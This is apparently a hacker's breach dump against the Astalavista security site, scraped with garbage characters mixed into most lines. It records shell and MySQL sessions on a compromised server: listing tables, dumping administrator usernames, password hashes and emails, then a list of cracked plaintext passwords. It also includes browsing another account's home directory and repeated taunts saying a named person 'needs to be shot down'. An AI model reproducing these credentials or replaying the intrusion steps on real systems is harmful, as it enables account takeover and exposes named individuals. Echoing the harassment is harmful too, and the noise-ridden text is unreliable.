<description>All availably Exploits.</description>, K1 j4 I0 k7 a6 w
<language>en-us</language>' c) B' R6 j% F* A; N5 @
<lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
8 k& d5 S5 L$ V9 h$ c+ d <docs>http://blogs.law.harvard.edu/tech/rss</docs>' D. A* w6 ?' p) {
<generator>Astalavista.com</generator>) I7 c8 O' l# r( v8 X6 N
<webMaster>info@astalavista.com</webMaster>’ . $items . ‘0 ^2 F5 C; ]5 X- X7 y
</channel>7 Y, @7 l- V, S3 A. I' l* `
</rss>’;
9 ^* {; D8 ~; @. C
! p( M _/ ?7 x- m2 e9 H if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {. x. r. ^$ B8 D) \+ t
unlink (FULLPATH . ‘/feed/exploits.xml’);
' X( f! B9 f, T# t }7 n; ~$ F0 p# \3 C' s2 B+ [
6 l+ Q4 N+ K' ^. \* n1 o
file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);
4 _# b% t9 E2 J$ W# {" s2 ]' P; k[snip]( V. D) S" ~: X4 T$ ^
9 p- B* U- J h* Nsh-3.2$ cat exploits.sh
9 `* V N" X4 e [: X8 d#!/bin/sh
p. ~: V: i: O+ W4 `+ S- O* |7 I! d
###########################################################
) J3 m, \/ M' M7 K" c# ## D: k; Y+ Y- A% d" w2 m% x. t2 \+ S
# Title: milw0rm exploits adder #4 ] G. ? D: n5 {
# Description: Add all milw0rm exploits to the #
. ?4 @0 V' h# {# Astalavista.com database #( |! h/ p4 q+ i3 F: O
# #6 `+ \' T% M* q, i
# Company: Astalavista Group #+ M% m- B/ z% Y0 | f* z
# Author: Paulo M. Santos #1 A2 s" @) W7 x5 y2 M- D7 T
# E-Mail: 链接标记paulo.santos@astalavista.ch #7 F/ ~( R$ [3 B! N" i
# #* T/ M# j" A& ^9 J) G8 y( ^
###########################################################
# `* L% L; X: b+ k# F! J% J0 V+ i1 M% o) }
# path
1 r$ X0 K) D+ o; P0 othis_path=/home/com/public_html/modifications/cronjobs
# _* B) f- N) N4 p: j4 T+ \5 b* _$ \% ]$ k( q" w
# change directory
7 G5 O# T3 D1 e& K8 b7 ~cd $this_path+ @8 K* T7 u: U; X+ q- r: y
cd tmp/9 Z3 n9 {# ^+ ?: ~: W- b
9 G9 H5 k: W; F/ G2 w9 Y# delete files3 @7 n- T' O6 O
rm -rf milw0rm.tar.* &; k" m5 R. _4 J4 X, ?; V& e6 @6 I
rm -rf milw0rm/ &/ q; x. m; ?5 U# n+ ^
. p: l/ [% z6 Z; q2 D+ b# wget milw0rm paket' o: Z" j% v- }* A/ H; Z$ k
wget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]! a! \8 D5 `# m- t! ?3 y" Q7 b1 d
# O. d/ ^7 r' `2 W1 I' k' X0 ^
# extract milw0rm paket B. t0 N, g& o" d
tar -xvf milw0rm.tar.bz2
. e: ^6 E+ e1 [) e% _
* I/ Q8 c; w R, X! B3 [6 K# change owner
9 S5 f4 K& U. p" }/ y+ hchown -R com .
3 K, q w2 K y5 Z) A1 ~+ Wchgrp -R com .
7 G; f) c7 ?' ]9 g% d3 T
6 z4 @# v) O1 K3 Z8 S- b! f# execute php script
1 ?4 |0 c* E( U# S. I% j( w) |0 vcd $this_path
$ e1 [) t. y) Nphp -q exploits.php
4 o: I. r& {6 M# R6 ]& u) _0 F" n9 l' _( g |$ c
# delete files
+ k. x4 Y# B( q- ]! H! l7 `rm -rf tmp/milw0rm.tar.*$ v9 A9 X$ f, Z# }
rm -rf tmp/milw0rm/
6 Q9 T) O3 e" H+ I6 e& A- A1 A- m* l2 |2 p6 }5 w- X
sh-3.2$ echo “Paulo M. Santos needs to be shot down.”
; E% |- x" d uPaulo M. Santos needs to be shot down.
; w x4 }2 G4 O+ M. o3 H0 @$ ]/ |0 R; ?+ E6 z; u4 K" ^
mysql -u contrexxuser2 -p4 ~1 x: |0 r2 G+ W1 ~$ c: j1 x
Enter password:- r! w6 m5 w2 A' a j5 i2 E
Welcome to the MySQL monitor. Commands end with ; or \g.
* g, h6 {* B# M/ @6 N5 vYour MySQL connection id is 261694
# r, _4 T) y6 s9 S' rServer version: 5.0.45-community-log MySQL Community Edition (GPL)
2 W. Q: y8 W9 t% k4 D
8 L/ w8 i k" {- ?. B$ Q4 z4 kType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
' u1 P6 p4 A3 J3 ^$ ]
" h2 H, G* u" D1 J J+ }mysql> show databases;
' w# o1 v, O+ [3 N! O+——————–+& G+ e% F. ?* B- U6 c4 W
| Database |
5 ?: Q0 A4 A! s+——————–+
5 A2 O% a; \8 Z, V| information_schema |
) W/ s* Y( X; c; i: p+ x4 V| com_contrexx2 |
) E0 i, v- r1 W9 Q| com_contrexx2_live |
: p# w& B1 D- p0 @- X* y| test |
$ ?8 m3 S6 R8 O' T3 x7 H, C1 I+——————–+
$ P3 l! W6 f9 p# w# {' n4 rows in set (0.00 sec)
% T6 @0 W$ ~# {/ _$ _% Y6 ]/ o
mysql> use com_contrexx2_live5 W6 @0 i8 c* j n2 g. |3 r( i$ F
Database changed
7 l3 h# {/ {& ~0 v2 ^mysql> show tables;
2 ~# F* e! D1 T; f$ v+————————————————–+. }4 g, z7 `6 j. k1 g) w0 D
| Tables_in_com_contrexx2_live |
( r& L* q$ ]+ Q+ C+————————————————–+
' S, [8 M$ y0 w( E. A: E| cc_banner_counter |( t( _" p2 F% B0 Q- i0 ]- A" `, c
| cc_search_counter |4 g6 L+ X3 ~3 p
| contrexx_access_group_dynamic_ids |
* L; C, q2 X; g! c| contrexx_access_group_static_ids |5 `( R7 Z) n. W+ ~- W. \
| contrexx_access_rel_user_group |
1 `: ]+ M2 p; Q. y9 U' Q| contrexx_access_settings |
( t/ X! N) B4 ]7 H- V9 t| contrexx_access_user_attribute |% U" v( K0 Z/ W) y* F6 h+ l
| contrexx_access_user_attribute_name |
5 Y& j! _5 k+ X" H| contrexx_access_user_attribute_value |
; E n% K- O' I5 B- n! j| contrexx_access_user_core_attribute |
3 {% A( _, I9 I$ U% R| contrexx_access_user_groups |' h! B+ W; [% u8 a
| contrexx_access_user_mail |& v3 Q: J G. u4 y$ s
| contrexx_access_user_profile |
- B* v& A- [+ U) D4 R2 z| contrexx_access_user_title |
1 u0 a: Z8 h) O7 i8 r% T; L$ _| contrexx_access_user_validity |+ u H n/ b6 K0 u6 L
| contrexx_access_users |- G* S' C1 ?+ x" ^% P, a
| contrexx_backend_areas |, W* d! } U4 A& l% E
| contrexx_backups |6 K. D4 ^% A2 Z e. c M
| contrexx_content |( w0 Q0 l" l- ^
| contrexx_content_history |
. W9 z6 N" o' W5 ^9 ?% J/ n6 A e| contrexx_content_logfile |0 z! u9 q4 H4 _( D, ^+ w9 ^
| contrexx_content_navigation |
9 M% G/ M$ D: }# H2 z8 N* W6 {8 t. K| contrexx_content_navigation_history |1 B8 }9 Z3 _9 W3 B2 b$ M
| contrexx_ids |1 q( E0 l/ f" f8 s( ?: {: L
| contrexx_languages |7 f% t, p& E1 C9 l; q8 x9 G: _
| contrexx_lib_country |
* F, T5 g; V1 b6 v& ]/ @| contrexx_log |
7 M9 t4 f4 P, q| contrexx_module_alias_source |
; M) U9 \8 ~/ H( O, Q| contrexx_module_alias_target |
6 u; ^# T6 r J) m| contrexx_module_block_blocks |/ J$ T7 q2 w6 d; S
| contrexx_module_block_rel_lang |
- M$ Y1 S* {# @0 S3 A" h| contrexx_module_block_rel_pages |8 [6 Z$ f# w- s2 n3 _. \" b9 S, e7 n
| contrexx_module_block_settings |! y4 c- y: s% }' [
| contrexx_module_blog_categories |
- H* u1 S0 m8 o8 Q| contrexx_module_blog_comments |/ P* R/ j8 g# l4 y0 u4 O" w$ y( F% P
| contrexx_module_blog_message_to_category |
, o$ N; C2 {9 k6 o| contrexx_module_blog_messages |
5 C2 m0 \" L# r9 U' C7 n| contrexx_module_blog_messages_lang |$ _6 u' ~* Q' z& }' z
| contrexx_module_blog_networks |
' f+ g. ]1 I. E6 p9 _# G/ @| contrexx_module_blog_networks_lang |0 _* l+ k6 ^/ A! c/ u5 M' p
| contrexx_module_blog_settings |
3 ^1 K% N5 `" c| contrexx_module_blog_votes |
5 v; Z; x4 `, f& _7 Z| contrexx_module_calendar |( `0 @$ k Y( U% t& ?4 f: v6 R
| contrexx_module_calendar_access |( p* m/ A, W8 h0 i- c( ?1 L9 J2 |8 c
| contrexx_module_calendar_categories |/ H7 F# d' D# I% m0 w8 C2 x- g5 f
| contrexx_module_calendar_form_data |
4 ?) M4 v, r# T6 Y6 @6 u| contrexx_module_calendar_form_fields |
; j0 ?- h* q( G5 _: Z: ~, r/ W& U| contrexx_module_calendar_registrations |
1 D; v' q0 D6 M| contrexx_module_calendar_settings |/ a; V4 e* I8 M9 I8 a. `' _2 u' x* a
| contrexx_module_calendar_style |5 c/ B+ b/ }0 p6 k/ t
| contrexx_module_contact_form |
8 X7 l. D; F. R) ]| contrexx_module_contact_form_data |
3 \' w: Q" }3 g8 _' w0 f| contrexx_module_contact_form_field |* h" F' t) p& {) c+ i+ D
| contrexx_module_contact_settings |' {3 H& a: G( b- m. \# g7 Z
| contrexx_module_data_categories |
2 f/ l) B0 y) ? ^| contrexx_module_data_message_to_category |
3 m9 H+ ^" ?# a* x! V| contrexx_module_data_messages |+ ~2 F W8 w; V, y3 x% ^6 b
| contrexx_module_data_messages_lang |8 t; x" u' A% a# {. ]. M1 s
| contrexx_module_data_placeholders |
7 v7 |& R, z$ p# p: ?: m6 U| contrexx_module_data_settings |6 K# w) O$ _7 n# W; }% y5 C
| contrexx_module_directory_access |
5 T& a6 o9 X- [& z9 U| contrexx_module_directory_categories |
r" b" c" U: B. g8 Z| contrexx_module_directory_dir |
- [5 A0 K; x5 T( _$ H& I0 G| contrexx_module_directory_inputfields |6 x: [% z) J+ e+ _& J2 N
| contrexx_module_directory_levels |
& m' V2 y! o3 r| contrexx_module_directory_mail |3 V0 M/ F+ k6 z, A/ N7 {
| contrexx_module_directory_rel_dir_cat |
3 f2 g# }8 o5 m# R/ `| contrexx_module_directory_rel_dir_level |+ z9 V- V% ^) l. b1 ^( s9 d0 e
| contrexx_module_directory_settings |5 H( E% \; |3 `/ B- u
| contrexx_module_directory_settings_google |
7 ?- w# j" u3 m- n1 O& J| contrexx_module_directory_vote |
9 N% L% R# B3 k! P9 e| contrexx_module_docsys |
/ i! j& t1 Z. a( O| contrexx_module_docsys_categories |3 v7 ]8 _: x1 ~7 K0 k% r
| contrexx_module_egov_configuration |1 E) c. H' Y, g, Z
| contrexx_module_egov_orders |* |$ ?6 @4 o+ B. x
| contrexx_module_egov_product_calendar |# F r4 G# X }- u! j8 |
| contrexx_module_egov_product_fields |/ v9 c1 _$ c. v: c$ n4 a3 r3 x% E
| contrexx_module_egov_products |9 @3 o7 `7 L' h+ ]$ H
| contrexx_module_egov_settings |
8 r9 u5 {0 K, e. R" D| contrexx_module_exploits |% `' K" n" q' J8 i" H# K& u
| contrexx_module_exploits_categories |" f, m& D# E! g' f3 g
| contrexx_module_feed_category |! x; ~7 o, p6 C, y
| contrexx_module_feed_news |( d8 Y- M, s; E0 R6 g6 F; i$ D
| contrexx_module_feed_newsml_association |3 s5 O- e( v/ }; I8 J" S1 S1 _) U
| contrexx_module_feed_newsml_categories |' f, v+ C2 G* V' w7 O8 G' U2 u
| contrexx_module_feed_newsml_documents |, \2 Z$ F) e+ x
| contrexx_module_feed_newsml_providers |
- {; b1 a. T+ Q% E& E t+ e+ h| contrexx_module_forum_access |
- b4 C8 ^0 `% _. B. {0 I| contrexx_module_forum_categories |0 l, ^8 U, _# `+ u2 L% s
| contrexx_module_forum_categories_lang |
4 k' ?' t( [( j( E; U+ k( h6 {| contrexx_module_forum_notification |
3 n& V {, V+ f* Y0 K+ C| contrexx_module_forum_postings |6 `2 U0 O- P& V$ ?
| contrexx_module_forum_rating |
, E+ M: z' N0 t$ ~| contrexx_module_forum_settings |
8 Q7 M0 G% i0 Y) L P% v/ c| contrexx_module_forum_statistics |4 ^2 w; r% _/ H7 p6 Q
| contrexx_module_gallery_categories |3 W" l" i6 v7 q+ k% _- y" {( X' _
| contrexx_module_gallery_comments |
& m2 Z7 z& o; ~$ [7 l" Z| contrexx_module_gallery_language |
% M C, W$ x: P I3 {3 o9 L| contrexx_module_gallery_language_pics |5 _5 m- n& Q: w, o( c
| contrexx_module_gallery_pictures |+ |0 X4 U+ M8 J3 P1 i$ F& P7 i% r8 b
| contrexx_module_gallery_settings |
, p) ]/ J7 w& p| contrexx_module_gallery_votes |
2 H7 b# Q& x# Y| contrexx_module_guestbook |
7 V/ I r' ~3 ?$ y4 s1 K' c( o| contrexx_module_guestbook_settings |0 s% G( P. q, L& B O
| contrexx_module_livecam |
+ G k" F, P; j( \( ]| contrexx_module_livecam_settings |
2 J7 w* c% s. d% J+ F| contrexx_module_market |
1 }1 @# ~* o) H! L| contrexx_module_market_access |
0 g* Y' I4 Z- y2 ]: n| contrexx_module_market_categories |
4 y6 x: \* T% I| contrexx_module_market_mail |
4 I2 {4 g: d0 X( n; U% D* {2 C| contrexx_module_market_paypal |3 F" t! n& E% ]9 ` n
| contrexx_module_market_settings |! @, w. F# M5 X6 y( v
| contrexx_module_market_spez_fields |( u$ c; J) r" t+ b& ^7 q
| contrexx_module_mediadir_access |* ~0 v; [- h9 z: P7 }8 D
| contrexx_module_mediadir_categories |
# |$ B2 b" B1 u5 K6 S$ C| contrexx_module_mediadir_comments |4 [1 j5 P: N& B
| contrexx_module_mediadir_dir |
* [, p F( q- g; z7 M| contrexx_module_mediadir_inputfields |
* a2 L0 c3 h7 n3 c% I. `1 f| contrexx_module_mediadir_levels |
7 K: n+ v0 u6 v' P| contrexx_module_mediadir_mail |
! m- W, N! r5 D" o* P, G) q* v' L' m| contrexx_module_mediadir_rel_dir_cat |2 ]; V* r: J1 C3 _# A1 w
| contrexx_module_mediadir_rel_dir_level |4 O, F* Z: v& e* U
| contrexx_module_mediadir_reports |
% B: ?9 l# ]4 I0 F4 J! z1 J9 l' O! I& p| contrexx_module_mediadir_settings |* N# ]& J0 D- j: ]& l
| contrexx_module_mediadir_settings_google |+ `: D! p/ ?& ~1 ?# q
| contrexx_module_mediadir_vote |3 t1 b4 \5 l9 Z% C6 _' o6 ?
| contrexx_module_memberdir_directories |& \3 T; F6 [! R1 z" `4 ] E4 a
| contrexx_module_memberdir_name |; c4 |4 ~# _( c6 g9 }
| contrexx_module_memberdir_settings |# R+ N+ m5 g8 l3 N$ v1 p
| contrexx_module_memberdir_values |. h/ r) p7 ~ X. u& E* Z
| contrexx_module_nettools_allowed_groups |
1 ^: U+ T+ `5 n$ m% n| contrexx_module_nettools_settings |
& j. h0 T# }6 y: N2 W" T3 u$ R| contrexx_module_news |$ z4 H$ @; s5 u9 b
| contrexx_module_news_access |
$ v3 f2 [% A7 y( N) ? p; l| contrexx_module_news_categories |
% j1 y, ?/ d9 n% z: A) m \9 c; d| contrexx_module_news_settings |4 D- f" }: k- u' [
| contrexx_module_news_teaser_frame |. k& \0 J' K& ^2 W
| contrexx_module_news_teaser_frame_templates |' {1 p2 P5 Q- Z2 }9 r" c) B* b
| contrexx_module_news_ticker |
( X; C# E/ u5 `1 P* H. v; s" v| contrexx_module_newsletter |( d1 p. K$ r1 e) I
| contrexx_module_newsletter_attachment |+ T9 K, M$ B0 u1 f0 k; e# x
| contrexx_module_newsletter_category |$ w: n" P! _: ~ \9 b3 ]
| contrexx_module_newsletter_confirm_mail |( N' V2 w6 Q0 F: L$ |( A
| contrexx_module_newsletter_rel_cat_news |
, j+ s w8 b$ W9 _; V0 k| contrexx_module_newsletter_rel_user_cat |
# o9 ^ D( ]& X& G; n3 t9 o4 m1 x| contrexx_module_newsletter_settings |
5 O+ r" `: x7 ?' d+ I4 A| contrexx_module_newsletter_template |
2 }$ }! p' N: b3 c, _9 y$ \! i| contrexx_module_newsletter_tmp_sending |3 J$ A! f4 p; t! M q9 U( z
| contrexx_module_newsletter_user |
( ?8 p* |% [9 s4 b4 m' O| contrexx_module_newsletter_user_title |
& Z, S. D3 N2 A j2 N4 {& S* K| contrexx_module_onlinetools_defaultports |
# E3 J2 a' L a7 q| contrexx_module_onlinetools_defaultports_back |( [4 n# m8 E- J) O1 H+ C: Z
| contrexx_module_onlinetools_geolitecity_blocks |
& j4 l! p. R! D5 H. P2 z| contrexx_module_onlinetools_geolitecity_country |! h5 l$ l$ _1 d/ V5 N
| contrexx_module_onlinetools_geolitecity_location |
* D3 c1 a/ A6 P4 A| contrexx_module_podcast_category |
5 m5 ?# m' n" F9 F2 w| contrexx_module_podcast_medium |
7 C: {9 T( Z3 h2 m| contrexx_module_podcast_rel_category_lang |( w7 w- G# l+ w% Q5 q- k0 \
| contrexx_module_podcast_rel_medium_category |
Q; ^, y& W4 i7 }( {4 C4 I| contrexx_module_podcast_settings |; t0 Y) D2 Y" B$ `- x
| contrexx_module_podcast_template |
; M9 ~# {3 T2 a) ?* Q| contrexx_module_proxydb |) o' s7 b- o% e8 ^8 ~2 F
| contrexx_module_recommend |" i1 t) E/ w$ ^- d! H% ~! h
| contrexx_module_repository |
# t2 h6 T/ |7 r5 k2 `8 S| contrexx_module_securitynews_cats |
9 R) j7 C4 A5 q| contrexx_module_securitynews_feeds |
! ], E u; {& B+ E- J6 x| contrexx_module_securitynews_news |
+ t5 G7 k7 X, J4 a1 H& e| contrexx_module_shop_categories |4 W5 m1 L! y) [
| contrexx_module_shop_config |
. R! x: k8 V6 Z* ^# D3 F| contrexx_module_shop_countries |
4 P' d' S3 M* j7 W6 t- m| contrexx_module_shop_currencies |' J3 |( Y" x3 Y( N& P+ h8 V
| contrexx_module_shop_customers |
; E# @7 K- q. d& ?| contrexx_module_shop_importimg |
' R2 [" n: R5 S6 E# _. || contrexx_module_shop_lsv |& X) O4 c9 B/ ?$ i, E
| contrexx_module_shop_mail |
; |: S8 ` x5 S) U) g| contrexx_module_shop_mail_content |; K$ X4 X T: l4 @! m @* W# Q
| contrexx_module_shop_manufacturer |
0 o. j# J9 M9 J* I2 [| contrexx_module_shop_order_items |
. h9 L1 i6 T. t. O7 T. W5 }/ W| contrexx_module_shop_order_items_attributes |" ~; i( G! ` h) @* b- t- m
| contrexx_module_shop_orders |7 s" U; {( \! U, _5 x6 c
| contrexx_module_shop_payment |8 C% O# i7 `. `" b+ ?
| contrexx_module_shop_payment_processors |
) d+ j) a2 G. c! h. T! k9 f| contrexx_module_shop_pricelists |! g2 |) d7 }; n) S
| contrexx_module_shop_products |' d9 @; |1 S( F- z4 L$ [7 p
| contrexx_module_shop_products_attributes |1 d9 t4 l$ U" a3 \6 q# h% K
| contrexx_module_shop_products_attributes_name |/ l$ |' O7 |, V( e. ~2 \5 ^& I
| contrexx_module_shop_products_attributes_value |
! w. ^; R- b5 k n u' O" c- H. }| contrexx_module_shop_products_downloads |
. L) S( @4 Y' \| contrexx_module_shop_rel_countries |
* N6 |; i5 g5 O| contrexx_module_shop_rel_payment |' K, T7 j1 ]0 l( v+ h1 j5 n& Y
| contrexx_module_shop_rel_shipment |
% |- y: n' q( L1 I. [4 x: h {| contrexx_module_shop_shipment_cost |
; y; E: s& I: p6 B6 M# @! q5 F| contrexx_module_shop_shipper |
1 O+ z. a4 p8 |# N2 {| contrexx_module_shop_vat |
[% K% n7 X" `* K9 ]| contrexx_module_shop_zones |* j; n! T$ C5 C i. e) T. z3 g; j
| contrexx_module_u2u_address_list |, a: I) H% K7 V/ q6 q
| contrexx_module_u2u_message_log |
+ F) m6 H& M% `# s2 h7 f| contrexx_module_u2u_sent_messages |/ F% `: ^; W4 O) n9 W. }. `2 C
| contrexx_module_u2u_settings |8 b" U6 w% d3 U3 p' c% X( k9 R
| contrexx_module_u2u_user_log |+ {( l% q9 O0 _
| contrexx_modules |
; n4 Z: |- {: i3 m% K9 U| contrexx_sessions |! ?$ w1 L* Y% C6 Z4 ~) p
| contrexx_settings |
- i& X! T+ W' E0 ?- G* B! e| contrexx_settings_smtp |- J9 N! c% w0 }' n/ o+ n$ y
| contrexx_skins |
$ N- Y( d5 G' g7 k% m| contrexx_stats_browser |5 N0 H1 I, }. ?6 q' e
| contrexx_stats_colourdepth |' P0 C. S; A: W1 c# a
| contrexx_stats_config |
- H- n4 Q" | ^5 t( B+ U| contrexx_stats_country |
) r! G' J" S- z8 j3 H2 l. [| contrexx_stats_hostname |
/ Z$ Y. T% a2 `& y& x+ a- g3 u+ I| contrexx_stats_javascript |, {: @. z7 @1 s" X! t6 e+ }
| contrexx_stats_operatingsystem |! v: s5 w5 o$ l: Z% P
| contrexx_stats_referer |
# c/ q; e( s$ b' ^1 ~9 I| contrexx_stats_requests |1 e7 {7 Q$ X6 L4 }- W
| contrexx_stats_requests_summary |
2 q3 m/ k8 a# F" U! N| contrexx_stats_screenresolution |$ g6 n1 A9 A" Z* L( K' g" v% w
| contrexx_stats_search |/ r/ W o" H( b1 Z0 _% s
| contrexx_stats_spiders |5 I8 T9 _. J3 v
| contrexx_stats_spiders_summary |: |0 N9 M/ T% M {
| contrexx_stats_visitors |6 u6 l5 s) w: Z. M& A: h
| contrexx_stats_visitors_summary |
: ~$ L% g8 l9 v: g7 x9 O+ z* c| contrexx_voting_additionaldata |
7 j! K1 J/ L" `- B| contrexx_voting_email |4 I8 E5 r) n1 S
| contrexx_voting_rel_email_system |
) b& i, \2 G4 J& ]- G# p: ~8 J2 G1 A| contrexx_voting_results |8 u: s2 {. u6 R# e. b
| contrexx_voting_system |3 a8 R1 t8 ^& {1 O$ {" G
| foo |
- _9 o$ _, R* X; W+————————————————–+0 E/ ]+ C4 G4 j' e% U4 x
227 rows in set (0.01 sec)
% y6 Q8 |" e# j2 U3 N; H" Y
9 J* ^, [, J9 d; ~$ w+ Nmysql> select count(*) as skids from contrexx_access_users;
- e* i" s) u3 f, O+——-+
) S/ z; O \/ |9 K| skids |
( |4 i0 X4 f, J$ V' B+ Z# @# l+——-+
. ` E/ ]6 F0 `& S1 |( \| 53699 |
Y7 G3 N' I* }: x0 R+——-+& | f3 R/ |/ h* j9 X& g, m! x
1 row in set (0.00 sec)9 J6 \- ^3 ~7 d9 X, @! x R
' {; K5 N4 e; ~! Tmysql> describe contrexx_access_users;
4 I( V f0 G% X" }6 A& o+——————+——————————————+——+—–+————–+—————-+: t, F# `& {7 p. h1 |6 `
| Field | Type | Null | Key | Default | Extra |1 _7 k5 Q3 v" E6 `- g
+——————+——————————————+——+—–+————–+—————-+ Y" z e: s8 j+ Q
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |( ]7 |/ x' M h
| is_admin | tinyint(1) unsigned | NO | | 0 | |
4 z' Q# Q( ~4 V7 g| username | varchar(40) | YES | MUL | NULL | |
5 D4 q+ m5 ?5 x$ Z6 Z+ L' i5 G| password | varchar(32) | YES | | NULL | |
$ ?8 ~; t# X9 M k9 z+ {| regdate | int(14) unsigned | NO | | 0 | |: I' c/ l* u8 g8 _ O3 k# o
| expiration | int(14) unsigned | NO | | 0 | |! k8 Z9 A: |2 x H# ]8 A& T. c& u: Q
| validity | int(10) unsigned | NO | | 0 | |4 m/ V7 B9 T- s+ I! `2 |9 W
| last_auth | int(14) unsigned | NO | | 0 | |
' N; W. W# ~! S& ]) I9 b+ E| last_activity | int(14) unsigned | NO | | 0 | |1 K7 \; F: a1 b
| email | varchar(255) | YES | | NULL | |
2 j; d* n% M* u& {/ E. @' q8 m- b% c| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |* y9 b5 ^* P: r( ?
| frontend_lang_id | int(2) unsigned | NO | | 0 | |
. _5 p9 c1 D t9 U e4 U3 d0 L$ F| backend_lang_id | int(2) unsigned | NO | | 0 | |* P$ v, L+ T5 [% l. a- R+ M8 [
| active | tinyint(1) | NO | | 0 | |
. U; R' Y, r) M! B7 }7 [- C3 B9 t| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
G5 O1 ~, E/ ?) U7 [- j& ^| restore_key | varchar(32) | NO | | | |
$ \! g6 [. p: W- h4 ]| restore_key_time | int(14) unsigned | NO | | 0 | |
* J& S4 Z# }# d6 f6 ^: @+ || u2u_active | enum(’0′,’1′) | NO | | 1 | |
# k2 [% A3 J' t: s! N, u+——————+——————————————+——+—–+————–+—————-+
9 b" T# U, T# G" e( Z2 [1 F18 rows in set (0.00 sec)
1 g4 u2 \* k. \8 h' z) u5 |1 \- P/ V5 Z0 ]9 z. S
mysql> select username,password,email from contrexx_access_users where is_admin = 1;
2 G% _( R& F' @& W1 e( L+————+———————————-+—————————–+
% W! O/ j0 L7 t/ L9 j$ A: || username | password | email |
Z$ i+ \) t7 T% `. g8 ]0 T( t+————+———————————-+—————————–+
2 j3 @: G2 n8 x- X; n9 P; r4 D; k| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |
7 [6 a2 L+ H1 q+ I| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |1 b! @; C! N# b8 c# Q
| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |
) N1 ~8 C& z) E* X+ Z) Z }* J| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |
& K( t9 a. y5 ]/ w+————+———————————-+—————————–+
4 A/ B% K) x3 g2 [$ S% Y- v' u4 rows in set (0.04 sec)3 H' j+ w9 {" R* K; H. f% {
/ _6 t4 l, }4 _& Imysql> exit;
! A- V, D5 t `; OBye1 t P' D0 F; h
- G H$ e' q5 M2 @5 T6 p[~] There you go, your “team of security and IT professionals” is a joke.% C- ~, h Q. o- R2 C3 c" r$ ~
& u6 d4 ]6 U% D8 [) j- p+——————————+
+ y* }4 d( R7 d% _, Q5 Csystem:f82BN3+_*
2 R' s6 B4 f. o( VBe1er0ph0r:belerophor4astacom) X/ a; ?8 ^; r$ x' u8 D
prozac:asta4cms!( m% g" S' n0 c. j p7 l( w: ~
commander:mpbdaagf6m
+ ]2 [5 s; R: Y. zsykadul:ak29eral
- _. q' X% |% p' [: I+——————————+
: `: ?1 @. X* d2 j0 K( b, k, F! H0 l8 e; K& k: m; W; F- Y2 ]
[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
7 O- j; q# q; Z; `4 U…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.1 |1 u/ d P9 ^% q1 A: c+ v1 N! |3 k
! f% l1 K2 B" _[~] Lets move to astalavista.net now,! c( Y S- e( J9 h; Z6 G( c3 [. u! ~6 Z
2 L5 E. v% F4 ?3 O6 a8 }
From <链接标记[url]https://www.astalavista.net/[/url]>:
) F+ @5 L& c7 Q% O>> Everyone knows that the best defense is a good offense.) }- K8 ]& V) ~
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.+ U5 E4 {8 W! x0 h, e
>> The ASTALAVISTA hacking & security community is the largest IT security community in the world./ d }& v0 E. V; v" @: R
>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”
3 y/ ~( k# B$ w- C3 S
+ a" f# ], p' X3 s" r. r>> Go ahead, try and hack our server . in a completely legal way!
- T& [3 [ K7 e>> Learn by doing: We offer our members tricky tasks and challenges on an3 \- L) H( a' E4 V. b
>> ongoing basis so you can test your knowledge and abilities. You can also$ }. ^; A) O4 c6 {% O
>> demonstrate what you.ve mastered by taking part in regular hacker contests6 k3 R0 N# l$ Z' |% H
>> and war games
7 Z% ~: q# P+ W/ ?7 `. h% R
/ _1 V6 J. s* A! N( L2 ]' v0 }7 |[~] Lets take a look there, after all… they are hack-proof, aren’t they?!
# Z* J- @' E9 i3 K2 v
" H( i, k8 k& V. b2 v$ ?[-] Tricky task: Find home dir of astalavista.net' _" a7 G; R5 i% B, |3 B/ P+ X! {$ W
1 b: l8 ^' g/ U! O$ l" `) M5 tsh-3.2$ ls -la ~astanet
/ Y2 T6 A% Y( [' h' I0 u& i" }total 48, Z& s N/ O) f# V5 ^
drwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .9 ~/ K: n. Z' M/ U) f/ @4 B
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..% t2 p3 H8 x) f% p* x0 \! t, Q% Q) ~' o8 b
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
; ]' w4 k' E7 k M! a; R5 p8 }-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history/ g5 ^. _: h! O
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout: _/ h) z6 U+ B2 F" _# ?" d1 e
-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile1 ~% C: {: j# y$ z$ x, c' |
-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
1 T6 V6 J- ]5 X% \$ W4 L/ R2 Jdrwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains. l! O' h7 u6 x. M" y! y( g
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap
" J+ @0 y3 Y. p: |$ Ydrwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
+ F3 Z3 O0 E! v- olrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html3 n! M! j5 e1 ?3 H9 h3 l- T/ V- l
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
2 T9 o% ^3 q9 r$ E4 L4 L
4 O! j h6 j! L. N1 A! c6 Jsh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/
$ v& a6 x U9 Q0 ]sh-3.2$ ls -la2 Z+ @# h$ i8 h; Z7 N
total 200
